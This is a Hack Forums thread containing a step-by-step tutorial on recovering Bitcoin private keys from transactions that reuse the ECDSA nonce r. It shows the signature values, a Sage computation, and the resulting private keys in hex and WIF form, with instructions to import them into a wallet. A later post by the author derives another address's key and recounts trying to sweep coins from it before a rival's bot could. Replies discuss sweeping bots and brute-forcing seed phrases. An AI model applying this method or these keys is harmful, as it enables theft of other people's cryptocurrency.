

Forum:[Hack Forums](#)

Thread: [Deriving a Private Key from a Vulnerable Bitcoin Address](#)

Kill Joy - April 24, 2018, 6:00 am

Today I will be educating you on vulnerable bitcoin addresses.

Here are some ways that a bitcoin address/transaction can be vulnerable.

A private key is created with a common password such as "123456"

A simple copy/paste mistake

A transaction is created with non-standard outputs

A random generator was used wrong or produced the same output.

The private key was posted publicly.

We are going to be talking about a transaction with a broken random number string. These addresses re-use certain values in a transaction due to poor knowledge/coding or the random value was the same (pretty much impossible unless there is a bug).

Take a look at this transaction:

<https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1>

There are two input scripts and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.

Taking a closer look at the inputs of these scripts we notice that they are similar.

1.

Code ScriptSig:

```
PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01]
```

```
PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
```

2.

Code ScriptSig:

```
PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01]
```

```
PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
```

The beginning of the scripts contain the signatures (defined as 'r' and 's'). The end of the script is the hex public key.

So we have:

Code r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

It turns out that the r values in the scripts are exactly the same. This means we can derive the

private key.

Now for some math equations:

Code Bitcoin Private Key = $(z1*s2 - z2*s1)/(r*(s1-s2))$

We have the r and s values, now we need to find the z1 and z2 values.

Go here: <https://2coin.org/>

Enter in our transaction ID:

9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

Scroll down to find the z values

We find:

Code z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 17b0f41c8c337ac1e18c98759e83a8ccbc368dd9d89e5f03cb633c265fd0ddc

bitcoin uses an elliptical curve. The order of the curve is secp256k1.

Code p = parameter for the secp256k1 curve. So

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

We'll need to create a finite field for the calculation.

Code K = GF(p)

Now that we have all the information we need, we can run our calculations.

We'll use Sagemath: <http://www.sagemath.org/>

I'll be using the cloud version. Make sure you input all of our equations:

Code p =

0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 0x17b0f41c8c337ac1e18c98759e83a8ccbc368dd9d89e5f03cb633c265fd0ddc

K = GF(p)

$K((z1*s2 - z2*s1)/(r*(s1-s2)))$

Click run:

The calculation outputs:

88865298299719117682218467295833367085649033095698151055007620974294165995414

Now we will convert it from decimal to hex. You can do so here:
<https://www.rapidtables.com/convert/number/decimal-to-hex.html>

Our private key in hex is:
C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96

From here we can convert it to a WIF (wallet import format). This represents the private key!

Quote: A WIF private key is a standard private key, but with a few added extras:

1. Version Byte prefix - Indicates which network the private key is to be used on.
0x80 = Mainnet
0xEF = Testnet
2. Compression Byte suffix (optional) - Indicates if the private key is used to create a compressed public key.
0x01
3. Checksum - Useful for detecting errors/typos when you type out your private key.
Go here: <https://2coin.org/privateKeyToAddress.html>

Enter in our hex private key.

Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

Go ahead and import this into a majority of wallets. I prefer Electrum! <https://electrum.org/>

Just a few side notes. This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don't know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin enthusiasts have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.

Hope this tutorial sparks some interest in people!

Pronouncer - April 24, 2018, 6:01 am

This was an interesting read. Appreciated

bodhii - April 24, 2018, 6:09 am

that wahtas a hell of a post..thank you..very interesting...about the codes and hex to ascii conver

Vitani - April 24, 2018, 6:19 am

Very interesting post. I knew about this vaguely but this definitely made it clear. I like how you said "Russian bitcoin enthousiasts". Oh well, at least it motivated crypto devs to fix their coin.

Flash ? - April 24, 2018, 10:03 am

Wow man dont understand shit but i checked some old wallets couldnt find matching ones lol XD
good luck hackers bois

lucky. - April 24, 2018, 5:49 pm

So to my understanding, this requires at least 2 input scripts correct? Was going to try on a wallet I lost access too but I never sent from it so I don't have multiple listed per transaction. Feelsbad.

Omniscient - April 24, 2018, 8:15 pm

This is a fantastic read. But it's going to take me a few more times to read to really understand all the aspects.

DARPA - April 24, 2018, 8:19 pm

I think you broke my brain at the /rs formula. Posting here to read again later.

Kill Joy - April 24, 2018, 9:05 pm

(Apr 24, 2018 05:49 PM)lucky. Wrote: [\[CITE\]](#) So to my understanding, this requires at least 2 input scripts correct? Was going to try on a wallet I lost access too but I never sent from it so I don't have multiple listed per transaction. Feelsbad.

That is correct. Since pretty much every wallet is a custom wallet, the main cause for this is the RNG not being random and applying the same r value multiple times. This happened to Blockchain in 2014, but an ethical hacker saved a majority of the bitcoin stolen (over 230).

Omniscient - April 24, 2018, 9:50 pm

Could you potentially create a transaction with the exploit intentionally as a test to see if a member can crack it?

SIM-1589588 - April 24, 2018, 9:52 pm

(Apr 24, 2018 09:05 PM)Kill Joy Wrote: [\[CITE\]](#) That is correct. Since pretty much every wallet is a custom wallet, the main cause for this is the RNG not being random and applying the same r value multiple times. This happened to Blockchain in 2014, but an ethical hacker saved a majority of the bitcoin stolen (over 230).

Yeah that guy returned those btc to blockchain. This PRNG bug was the hot talk in 2013-2014.

Here's the original article

<http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html>

Kill Joy - April 24, 2018, 10:30 pm

(Apr 24, 2018 09:50 PM)Omniscient Wrote: [\[CITE\]](#) Could you potentially create a transaction with the exploit intentionally as a test to see if a member can crack it?

Of course. Once I have some free time today I'll create one.

xetrics - April 24, 2018, 10:59 pm

(Apr 24, 2018 10:30 PM)Kill Joy Wrote: [\[CITE\]](#) Of course. Once I have some free time today I'll create one.

If you could make me one to test i'll hit you with that sweet +1 lol

To my understanding, most if not all transactions on today's blocks are not vulnerable to this? How long would it take to find a vulnerable one?

Kill Joy - April 25, 2018, 12:20 am

(Apr 24, 2018 10:59 PM)xetrics Wrote: [\[CITE\]](#) If you could make me one to test i'll hit you with that sweet +1 lol

To my understanding, most if not all transactions on today's blocks are not vulnerable to this? How long would it take to find a vulnerable one?

Certain pools will accept non-standard transactions. It's also up to wallet software these days too. So it still can happen, just it does not happen very often unless some is using buggy or outdated software. Easiest way to find a new one would be to run your own node with an active scanner for incoming transactions. Other ways would be noticing trends in what addresses are vulnerable (because they were created with the same software).

A user PM'd me about an address he had found that had duplicated r values but it was a SegWit transaction which replaces the signature data with witnesses. The signature data is only stripped from the transaction and placed inside the block itself. So I need to mess around with that a bit to see how I can get that data from the block.

Astrologer - April 25, 2018, 2:21 pm

Can this happen with any bitcoin transaction?

Omniscient - April 25, 2018, 2:34 pm

(Apr 25, 2018 02:21 PM)Viker Wrote: [\[CITE\]](#) Can this happen with any bitcoin transaction?

No it cannot. It's very technical the first post but you should be able to at least understand some of it.

Crystallize. - April 27, 2018, 6:29 am

Which part does it have to be similar because I am hella confused :/ the scriptsig line 2 doesn't match the other one.Thanks!

Kill Joy - April 27, 2018, 8:10 am

(Apr 27, 2018 06:29 AM)Crystallize. Wrote: [\[CITE\]](#) Which part does it have to be similar because I am hella confused :/ the scriptsig line 2 doesn't match the other one.Thanks!

The r values must be the same.

Crystallize. - April 27, 2018, 8:43 am

(Apr 27, 2018 08:10 AM)Kill Joy Wrote: [\[CITE\]](#) The r values must be the same.

Can you tell me which are the r values? I am really lost lol.

Kill Joy - April 27, 2018, 9:29 pm

(Apr 27, 2018 08:43 AM)Crystallize. Wrote: [\[CITE\]](#) Can you tell me which are the r values? I am really lost lol.

I show the r values in the OP. It's the second code box.

rouxster115 - April 28, 2018, 2:55 am

Do you think I could pick a few BTC addresses from Localbitcoins.com? Do any wallets have better security in place to not allow this? (I'm guessing almost all of them)?

kookur - May 14, 2018, 10:45 pm

So I shouldn't give my address to people wanting to send funds ? Bit scared.

Kill Joy - May 15, 2018, 12:38 am

(May 14, 2018 10:45 PM)kookur Wrote: [\[CITE\]](#) So I shouldn't give my address to people wanting to send funds ? Bit scared.

This happened to very very few people, and the biggest case was a bug in the random number generator Blockchain.info used back in like 2014. Most people got their funds back from a whitehat hacker. You'll be fine.

Angel - May 17, 2018, 3:07 am

Wow! this was a fun read, thanks for writing this thread!

Kill Joy - August 23, 2018, 9:21 am

Thread bump since I think more people would be interested in learning about this.

ossimo - August 24, 2018, 4:19 am

how to find such addresses

Dust. - August 24, 2018, 5:40 am

(Apr 24, 2018 10:30 PM)Kill Joy Wrote: [\[CITE\]](#) Of course. Once I have some free time today I'll create one.

Have you created one yet? Thanks for the thread

int - August 24, 2018, 11:06 am

Damn this is interesting. Might write a program to automate this

Kill Joy - August 24, 2018, 11:22 am

(Aug 24, 2018 05:40 AM)Dust. Wrote: [\[CITE\]](#) Have you created one yet? Thanks for the thread I have not. No point in putting money in it since bots sweep it almost instantly.

bitcoinfree - October 12, 2018, 9:33 am

Great post!

Thank you so much

krisj - October 12, 2018, 11:28 pm

Thanks for the re-bump killjoy, this was really interesting - I had missed it the last time around. Really good post, hadn't heard about this vulnerability before!

Kill Joy - October 13, 2018, 5:31 am

(Oct 12, 2018 11:28 PM)krisj Wrote: [\[CITE\]](#) Thanks for the re-bump killjoy, this was really interesting - I had missed it the last time around. Really good post, hadn't heard about this vulnerability before! Glad people are still finding this interesting. :)

YuDoDisToMe - October 13, 2018, 5:33 am

So was there any recent event where somebody had their coins stolen from such vulnerability ?

Kill Joy - October 13, 2018, 5:36 am

(Oct 13, 2018 05:33 AM)YuDoDisToMe Wrote: [\[CITE\]](#) So was there any recent event where somebody had their coins stolen from such vulnerability ?

There are without a doubt occasional times where someone loses their coins this way to a bot. A group of people? Not since 2014 I believe.

YuDoDisToMe - October 13, 2018, 5:38 am

(Oct 13, 2018 05:36 AM)Kill Joy Wrote: [\[CITE\]](#) There are without a doubt occasional times where someone loses their coins this way to a bot. A group of people? Not since 2014 I believe.

Oh so basically this is not a threat anymore

Kill Joy - October 13, 2018, 5:41 am

(Oct 13, 2018 05:38 AM)YuDoDisToMe Wrote: [\[CITE\]](#) Oh so basically this is not a threat anymore That is correct, but there are some instances. Just rare these days.

arpit2410 - October 13, 2018, 9:32 am

If today I wanted to find such transaction how can I find it ? I do know that is rare but still thinking of a way to find it

Adding to it a guy I met recently said that he can get into any wallet that has like very few inputs and outputs like 3-4 and he can then get into the wallet with hash160 using supercomputer of ISRO that is SATA 220 that has a speed of 220 TeraFlops

Was wondering if he was saying the truth or was just lying ?

Kill Joy - October 13, 2018, 11:10 am

(Oct 13, 2018 09:32 AM)arpit2410 Wrote: [\[CITE\]](#) If today I wanted to find such transaction how can I find it ? I do know that is rare but still thinking of a way to find it

Adding to it a guy I met recently said that he can get into any wallet that has like very few inputs and outputs like 3-4 and he can then get into the wallet with hash160 using supercomputer of ISRO that is SATA 220 that has a speed of 220 TeraFlops

Was wondering if he was saying the truth or was just lying ?

He's lying. The number of outputs on a wallet has no security enhancement apart from the elliptical curve.

Also to do this, you would need to automate it and then constantly scan the blockchain as new blocks and transactions come in. Russians were the first to do this pretty early on.

Sida - October 14, 2018, 2:56 am

Hello,

This subject is very interesting.

Thank you ;)

fenua987 - November 15, 2018, 7:01 am

Really interesting post, thanks.

grindz - November 15, 2018, 7:10 am

one question brother

i got sold a "private" method which i paid \$500 for and it involved blockchain.info and private key cracking

so basically i would import a 12 phrase private keys to notepad and change around one word per key and keep trying this till I get into a wallet; i did this several times, got into 10 wallets all with \$0 but did have transactions worth hundreds if not thousands, so my question to you is does this method work and i'm just unlucky or is there something in place to only open shitty wallets ect

ANT. - November 15, 2018, 5:22 pm

Thank you for this. I will explore this more, thanks again.

Kill Joy - November 15, 2018, 6:02 pm

(Nov 15, 2018 08:10 AM)grindz Wrote: [\[CITE\]](#) one question brother

i got sold a "private" method which i paid \$500 for and it involved blockchain.info and private key cracking

so basically i would import a 12 phrase private keys to notepad and change around one word per key and keep trying this till I get into a wallet; i did this several times, got into 10 wallets all with \$0 but did have transactions worth hundreds if not thousands, so my question to you is does this method work and i'm just unlucky or is there something in place to only open shitty wallets ect

Basically what you're trying is bruteforcing then. There's hundreds millions of options and the chances of getting lucky is near impossible. There's a website that's essentially doing this and publicly stores each private key. I forget what it's called but it shouldn't be hard for you to find.

There's also LBC which is like a group project doing the same thing: <https://lbc.cryptoguru.org/>

Your chances are slim and you wasted your money on the private key.

Kill Joy - December 9, 2018, 9:18 am

I always come back to this thread for my own research purposes. Tonight I discovered the coin Counterparty (seem's pretty cool, Omni you should take a look at this but it still piggybacks off of Bitcoin). What I found tonight was a pretty elaborate scam by a russian who is known for his bots that sweep vulnerable addresses. Seems he started doing this kind of scam October of 2017, so he certainly keeps his old addresses he cracks.

Like people use old private keys to claim clam coins, I decided to look for [XCP](#) coins as they forked around the time I got a list of private keys and the very first one I checked had \$14 worth of XCP.

Address: 1HSUdtBoNbexP3ordhnSZ2jfHCGVvAbGt
<https://xchain.io/address/1HSUdtBoNbexP3ordhnSZ2jfHCGVvAbGt>

Has \$0 in BTC and \$14 in BTC.

This is a weak address and has 10 re-used r values. What's weird is this address was fine up until transaction output #25

Code TX no.: 25

hash: 2e401daef38e0c54eab2c8703f535917b26dd14c40b7d047a475f6f13975f6eb

Number of inputs: 1

Input-Script No.1

:483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188430220
4eb4b7782ac95e3bdee7ab15e595f12f1377c2438afa9bef088e1bea42dba075012102e908619303e0
546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

##

TX no.: 26

hash: d3cf7c438d409c622724a45223f0775496bb4a33d863073cc7412b31fa74052e

Number of inputs: 1

Input-Script No.1

:483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188430220
054d593a2fbc4047f86d0936757272ce70f5f3cb7acaf92d33555311a4c01140012102e908619303e0
546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

##

TX no.: 27

hash: aba48881b067a773106403b4c1d136dc8176b3494a07d5fe5ab98b7f7c008ab5

Number of inputs: 1

Input-Script No.1

:483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188430220
77eb5cf7a23c79bef3d820b322012fb71cc7c738ec3bea023b21b54aefb92941012102e908619303e0
546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

##

TX no.: 28

hash: 17e36f5f875fedafaf8c49f06f4844de53c0174f6c6089903afe570db185647c

Number of inputs: 1

Input-Script No.1

:483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188430220

45541ddcbad3cc455cddc670a3019e283ecbbe7d8c0ca1b7fd6123856c195763012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

##

TX no.: 29
hash: 28e5fbb42e50c32376eb9b482e01bc068894976c99bdf99dfefab705b589a
Number of inputs: 1
Input-Script No.1
:493046022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea14118843022100ef9bb0dde782ca469fe3b9f7088ce4ff8cb2547929b7878251cf53d54af520cf012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

##

TX no.: 30
hash: a6e474efb5c043a4ef8690b7668090d3c18cd2a53200ccbb9f3c6b1577e97c3c
Number of inputs: 1
Input-Script No.1
:48304502205900c896db8819982a9a7529123b8cde3a9c76c00bf57c7cb41cd8f535485a67022100a8aca6ad270d1a0431bf9760a70c16ec46cfd1b0e29ba1d99223faf158a014f012103d8efafbc7119c448a5c18b93dff0e9265e6d152ca7eachb7ce96b6dd9de815
Input-Script No.: 575[global increment]
483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302204eb4b7782ac95e3bdee7ab15e595f12f1377c2438afa9bef088e1bea42dba075012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:
00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188
Input-Script No.: 575[global increment]
483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302204eb4b7782ac95e3bdee7ab15e595f12f1377c2438afa9bef088e1bea42dba075012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:
00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188
Input-Script No.: 575[global increment]
483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302204eb4b7782ac95e3bdee7ab15e595f12f1377c2438afa9bef088e1bea42dba075012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:
00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188
Input-Script No.: 575[global increment]
483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302204eb4b7782ac95e3bdee7ab15e595f12f1377c2438afa9bef088e1bea42dba075012102e908619303e0546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:
00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188
Input-Script No.: 576[global increment]
483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188430220054d593a2fbc4047f86d0936757272ce70f5f3cb7acaf92d33555311a4c01140012102e908619303e05

46c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Input-Script No.: 576[global increment]

483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302200

54d593a2fbc4047f86d0936757272ce70f5f3cb7acaf92d33555311a4c01140012102e908619303e05

46c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Input-Script No.: 576[global increment]

483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302200

54d593a2fbc4047f86d0936757272ce70f5f3cb7acaf92d33555311a4c01140012102e908619303e05

46c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Input-Script No.: 577[global increment]

483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302207

7eb5cf7a23c79bef3d820b322012fb71cc7c738ec3bea023b21b54aefb92941012102e908619303e05

46c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Input-Script No.: 577[global increment]

483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302207

7eb5cf7a23c79bef3d820b322012fb71cc7c738ec3bea023b21b54aefb92941012102e908619303e05

46c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Input-Script No.: 578[global increment]

483045022100fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea1411884302204

5541ddcbad3cc455cddc670a3019e283ecbbe7d8c0ca1b7fd6123856c195763012102e908619303e0

546c803a9df0c633734c53623844a81533581117ad34f2f99bf8

Reused R-Value:

00fe0b9001932aa6e73f038281a3275e28abe3e581e5178eb5f8000bea141188

Break the address and the private key is:

Code L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX

In order to sweep the XCP, it requires some BTC.

IF the address is being monitored by anyone with a bot, that BTC will automatically be swept into their wallet.

I tested this address and it indeed was swept by Amaclin. I'll keep looking for opportunities to do this but Amaclin is far ahead of me.

Thank you for this tutorial

Kill Joy - May 2, 2019, 5:23 am

Bump for those interested (with my newer thread).

seanizcool - May 9, 2019, 5:30 pm

Thanks for the tutorial, I only half-grasp it but maybe another read can that. Either way, super interesting.

375LEADER - August 25, 2019, 7:49 pm

Thank you for this tutorial

375LEADER - September 3, 2019, 7:01 pm

Thank ,

How do check double spend list ?

emunah - December 11, 2019, 1:59 pm

(Apr 24, 2018 06:00 AM)Kill Joy Wrote: [\[CITE\]](#) Today I will be educating you on vulnerable bitcoin addresses.

Here are some ways that a bitcoin address/transaction can be vulnerable.

A private key is created with a common password such as "123456"

A simple copy/paste mistake

A transaction is created with non-standard outputs

A random generator was used wrong or produced the same output.

The private key was posted publicly.

We are going to be talking about a transaction with a broken random number string. These addresses re-use certain values in a transaction due to poor knowledge/coding or the random value was the same (pretty much impossible unless there is a bug).

Take a look at this transaction:

<https://blockchain.info/tx/9ec4bc49e828d924af1d1029cac709431abbde46d59554b62bc270e3b29c4b1>

There are two input scripts and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.

Taking a closer look at the inputs of these scripts we notice that they are similar.

1.

Code ScriptSig:

PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01]

PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]

2.

Code ScriptSig:

PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01]

PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]

The beginning of the scripts contain the signatures (defined as 'r' and 's'). The end of the script is the hex public key.

So we have:

Code r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.

Now for some math equations:

Code Bitcoin Private Key = $(z1*s2 - z2*s1)/(r*(s1-s2))$

We have the r and s values, now we need to find the z1 and z2 values.

Go here: <https://2coin.org/>

Enter in our transaction ID:

9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

Scroll down to find the z values

We find:

Code z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 17b0f41c8c337ac1e18c98759e83a8ccbc368dd9d89e5f03cb633c265fd0ddc

bitcoin uses an elliptical curve. The order of the curve is secp256k1.

Code p = parameter for the secp256k1 curve. So

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

We'll need to create a finite field for the calculation.

Code K = GF(p)

Now that we have all the information we need, we can run our calculations.

We'll use Sagemath: <http://www.sagemath.org/>

I'll be using the cloud version. Make sure you input all of our equations:

Code p =

0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 0x17b0f41c8c337ac1e18c98759e83a8ccbc368dd9d89e5f03cb633c265fd0ddc

K = GF(p)

$K((z1*s2 - z2*s1)/(r*(s1-s2)))$

Click run:

The calculation outputs:

88865298299719117682218467295833367085649033095698151055007620974294165995414

Now we will convert it from decimal to hex. You can do so here:

<https://www.rapidtables.com/convert/number/decimal-to-hex.html>

Our private key in hex is:

C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96

From here we can convert it to a WIF (wallet import format). This represents the private key!

Go here: <https://2coin.org/privateKeyToAddress.html>

Enter in our hex private key.

Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

Go ahead and import this into a majority of wallets. I prefer Electrum! <https://electrum.org/>

Just a few side notes. This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don't know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin enthusiasts have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.

Hope this tutorial sparks some interest in people!

Holy crap you're a brain!!!! You might be the only legit hatter (or ex, pardon me,) here. Bravo mon fraire.

(May 9, 2019 05:30 PM)seanizcool Wrote: [\[CITE\]](#) Thanks for the tutorial, I only half-grasp it but maybe another read can that. Either way, super interesting.

Ha ha! Right?

rengga1711 - December 12, 2019, 8:49 am

but its to hard to find the R with the same value, i already looking for that, but no one do the same transaction in day ?

Kill Joy - December 12, 2019, 8:53 am

(Dec 12, 2019 09:49 AM)rengga1711 Wrote: [\[CITE\]](#) but its to hard to find the R with the same value, i already looking for that, but no one do the same transaction in day ?

Yes they can. There are bots that actively scan incoming transactions. These days it is probably not worth running it 24/7, but they are still ran.

rengga1711 - December 12, 2019, 8:58 am

(Dec 12, 2019 09:53 AM)Kill Joy Wrote: [\[CITE\]](#) Yes they can. There are bots that actively scan incoming transactions. These days it is probably not worth running it 24/7, but they are still ran. yes maybe its a amazing bots, hope i can build or find that haha

Kill Joy - December 12, 2019, 9:11 am

(Dec 12, 2019 09:58 AM)rengga1711 Wrote: [\[CITE\]](#) yes maybe its a amazing bots, hope i can build or find that haha

amaclin had the most advanced and biggest bot. Think he shut it down because the cost wasn't worth it anymore.

rengga1711 - December 12, 2019, 9:37 am

(Dec 12, 2019 10:11 AM)Kill Joy Wrote: [\[CITE\]](#) amaclin had the most advanced and biggest bot. Think he shut it down because the cost wasn't worth it anymore.

I have a diffrent ways how can i get that private key, but the same things is, how to get the R with the same value, i try to calculate the diffrent R value, but i think it will be generate a diffrent private keys too, so confuse haha

MOD3M - December 13, 2019, 9:14 pm

This is an excellent read. Thanks for your contribution.

Rally the Bulls - December 13, 2019, 9:24 pm

Wow, quite the quality write up. Good stuff man!

Blazin - December 18, 2019, 12:39 am

Yes. There is a group of hackers that run bots 24/7 doing this endlessly. And sometimes they do get lucky. It was on the news awhile ago. They can check if the wallet has a balance and take it over very quickly.

Stanley - February 27, 2020, 8:14 am

I'm Stanley HF's helper bot. This OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

Light3r - March 4, 2020, 4:58 am

Is amaclin on this forum? If No, how can i contact him directly?

(Dec 12, 2019 10:11 AM)Kill Joy Wrote: [\[CITE\]](#) amaclin had the most advanced and biggest bot. Think he shut it down because the cost wasn't worth it anymore.

Kill Joy - March 4, 2020, 5:00 am

(Mar 4, 2020 05:58 AM)Light3r Wrote: [\[CITE\]](#) Is amaclin on this forum? If No, how can i contact him directly?

Try Bitcointalk or stackexchange but you probably won't reach him.

Light3r - March 4, 2020, 6:37 am

I just sent him a message on his email which i got from his profile / post on one of those forum you mentioned but he is yet to reply. I wanted to ask him some questions on bitcoin.conf

(Mar 4, 2020 06:00 AM)Kill Joy Wrote: [\[CITE\]](#) Try Bitcointalk or stackexchange but you probably won't reach him.

Ramsey - March 4, 2020, 6:40 am

Quite a valuable post. Thanks dude.

Light3r - March 4, 2020, 8:34 am

